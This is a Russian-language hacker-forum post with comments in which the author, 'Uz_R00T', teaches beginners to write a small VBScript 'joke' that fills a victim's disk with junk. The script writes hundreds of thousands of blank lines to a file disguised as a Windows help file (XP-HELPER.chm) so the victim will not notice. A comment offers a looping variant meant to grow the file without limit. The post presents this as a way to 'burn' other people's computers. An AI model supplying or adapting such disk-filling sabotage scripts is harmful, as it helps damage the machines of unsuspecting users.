Привет всем я Uz_R00T — из Узб
Данная статья для новичков вроде меня
Мы напишем маленькую программу весом в 2-3 кб которая при запуске образует
от 200 — 2 000 мб мусора на диске.
для этого нам понадобиться: ОБЫЧНЫЙ NOTEPAD
[SOURCE-КОД]
Set fso = CreateObject(«Scripting.FileSystemObject»)
Set tx = fso.CreateTextFile(«C:/Windows/XP-HELPER.chm», True)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.close
[END OF SOURCE — КОНЕЦ КОДА]
И так пояснения :
Set fso = CreateObject(«Scripting.FileSystemObject») -Создаем объект
Set tx = fso.CreateTextFile(«C:/Windows/XP-HELPER.chm», True) — создаем файл на диске С в папке Виндоуз XP-HELPER.chm — .chm это файл справки соответственно наш ламер не узнает что тут находиться мусор
tx.WriteBlankLines(100000) — это 100000 пустых строк
tx.close — закрываем наш файлик
И он у нас появляется на диске С.
Для того чтобы появлялся еще больше мусора дописываем
tx.WriteBlankLines(100000)
еще столько сколько душе угодно.
Удачного сгорения компофф!
17 комментариев
Чтобы прописывать то что хочешь
tx.writeLine("ТВОЙ ТЕКСТ ТУТ")
копировать код и до строчки [END OF SOURCE - КОНЕЦ КОДА]
Set fso = CreateObject("Scripting.FileSystemObject")
Set tx = fso.CreateTextFile("C:/Windows/XP-HELPER.chm", True)
Do
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.WriteBlankLines(100000)
tx.close
Loop